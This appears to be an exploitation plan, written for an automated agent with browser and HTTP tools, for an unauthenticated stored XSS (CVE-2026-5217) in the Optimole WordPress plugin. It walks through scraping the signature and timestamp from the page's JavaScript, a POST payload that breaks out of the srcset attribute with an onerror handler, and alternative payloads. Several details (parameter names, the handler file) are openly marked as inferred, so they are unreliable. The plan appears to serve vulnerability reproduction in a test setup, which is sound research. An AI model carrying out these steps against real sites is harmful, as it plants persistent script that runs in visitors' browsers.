Exploitation Research Plan: CVE-2026-5217 - Optimole Stored XSS

1. Vulnerability Summary

The Optimole plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) via the s parameter in its custom REST API endpoint /wp-json/optimole/v1/optimizations.

The vulnerability exists because:

1. The REST endpoint accepts a srcset descriptor (parameter s) and sanitizes it using sanitize_text_field(). While this function strips HTML tags, it does not escape double quotes (").
2. The plugin validates the request using an HMAC signature and a timestamp. However, these values are generated by the server and localized into the frontend HTML, making them retrievable by any unauthenticated visitor.
3. The unsanitized descriptor is stored in a WordPress transient (options table).
4. When rendering image tags, inc/tag_replacer.php retrieves the stored descriptor and injects it directly into the srcset attribute of <img> tags without additional escaping, allowing an attacker to break out of the attribute and inject arbitrary event handlers (e.g., onload, onerror).

2. Attack Vector Analysis

• REST Endpoint: /wp-json/optimole/v1/optimizations
• Method: POST (inferred from the nature of an "optimizations" update)
• Vulnerable Parameter: s (The srcset descriptor)
• Authentication: Unauthenticated (but requires HMAC/Timestamp validation).
• Preconditions:
  • The plugin must be active and "connected" (meaning API keys are set, though dummy keys may suffice for the code path to trigger).
  • At least one image must be present on a page to trigger the Optml_Tag_Replacer logic and provide the signature.

3. Code Flow

1. Entry Point: An unauthenticated POST request hits /wp-json/optimole/v1/optimizations.
2. Validation: The handler in rest.php (inferred) checks the provided signature and timestamp against an HMAC generated using the site's secret.
3. Processing: The value of the s parameter is processed:
   • $descriptor = sanitize_text_field( $request['s'] );
4. Storage: The descriptor is stored in a transient. Transient names in Optimole typically follow a pattern involving the image hash or URL.
5. Sink: In inc/tag_replacer.php, the method process_image_tags (or similar filtering logic like filter_srcset_attr) is called during page rendering.
6. Injection: The plugin constructs the srcset attribute:

   // Conceptual representation of the sink in tag_replacer.php
   $srcset .= $url . ' ' . $descriptor . ', ';
   // ... later echoed into the attribute
   

7. Result: The resulting HTML contains the breakout: srcset="...image.jpg 1200w" onerror="alert(1)" ..."

4. Nonce Acquisition Strategy

This exploit requires a valid HMAC Signature and Timestamp which the plugin uses instead of a standard WordPress Nonce for this specific REST endpoint.

1. Mechanism: The plugin enqueues a script that includes configuration data. Based on standard Optimole behavior, this is localized under the global JavaScript object optimoleData.
2. Extraction Path:
   1. Create a post/page containing a standard image.
   2. Navigate to the page using browser_navigate.
   3. Execute browser_eval to extract the necessary tokens from the global JS object.
3. Variable Identification:
   • Target Object: window.optimoleData
   • Key for Signature: optimoleData.signature (inferred)
   • Key for Timestamp: optimoleData.timestamp (inferred)
   • Key for Endpoint: optimoleData.endpoint (useful for confirming the REST URL)

5. Exploitation Strategy

Step 1: Discover Validation Tokens

Use the browser to visit the homepage and find the localized data.

// Example browser_eval call
const signature = window.optimoleData.signature;
const timestamp = window.optimoleData.timestamp;
return { signature, timestamp };

Step 2: Send Poisoned Optimization Request

Using the http_request tool, send a POST request to the optimizations endpoint.

• URL: {{BASE_URL}}/wp-json/optimole/v1/optimizations
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  s=1200w" onerror="alert(document.domain)" "
  &signature={{extracted_signature}}
  &timestamp={{extracted_timestamp}}
  &id={{image_id_or_url}}
  

  (Note: The exact structure of the id or identifier parameter for the image depends on rest.php. It might be url or img_id. The payload for s includes a trailing double quote to maintain attribute syntax if necessary).

Step 3: Trigger Execution

Visit any page where the targeted image is rendered. The Optml_Tag_Replacer will fetch the cached/stored descriptor (now containing the payload) and render it.

6. Test Data Setup

1. Plugin Configuration:
   • Activate optimole-wp.
   • "Connect" the plugin by setting a dummy API key to ensure the image replacer is active:
     wp option update optml_settings '{"api_key":"dummy","service_data":{"cdn_key":"dummy","cdn_secret":"dummy"},"image_replacer":"enabled"}' --format=json
2. Target Content:
   • Create a page with an image:
     wp post create --post_type=page --post_title="XSS Test" --post_content='<!-- wp:image {"id":1} --><figure class="wp-block-image size-full"><img src="http://{{DOMAIN}}/wp-content/uploads/test.jpg" alt=""/></figure><!-- /wp:image -->' --post_status=publish

7. Expected Results

1. The POST request to /wp-json/optimole/v1/optimizations should return a 200 OK or 201 Created response.
2. When viewing the "XSS Test" page, the source code for the <img> tag should look like:

   <img srcset=".../test.jpg 1200w" onerror="alert(document.domain)" " ..." ...>
   

3. An alert box should appear in the browser.

8. Verification Steps

1. Check Transients: Verify the malicious payload is stored in the database:
   wp transient get --all | grep "alert" or wp option get _transient_optml_...
2. HTML Inspection: Use browser_navigate to the test page and check the outerHTML of the image tag to confirm the onerror attribute exists.

9. Alternative Approaches

• Different Sink: If the s parameter is not the descriptor but part of the URL generation, the payload might need to be shifted to a URL-breakout: s=1200w&id=http://example.com/image.jpg?#"><img src=x onerror=alert(1)>.
• Lazyload Breakout: If Optimole's lazy-loading is enabled, the XSS might be injected into data-opt-src or data-srcset attributes, which are later parsed by the Optimole JS. The payload remains the same: use double quotes to escape the attribute.
• Signature Guessing: If the signature is per-site and not per-image, any signature found in the HTML will work for any image update. If it's per-image, the attacker must find the specific signature for the image they wish to poison. Documented behavior suggests the signature is often a general authentication token for the REST API session.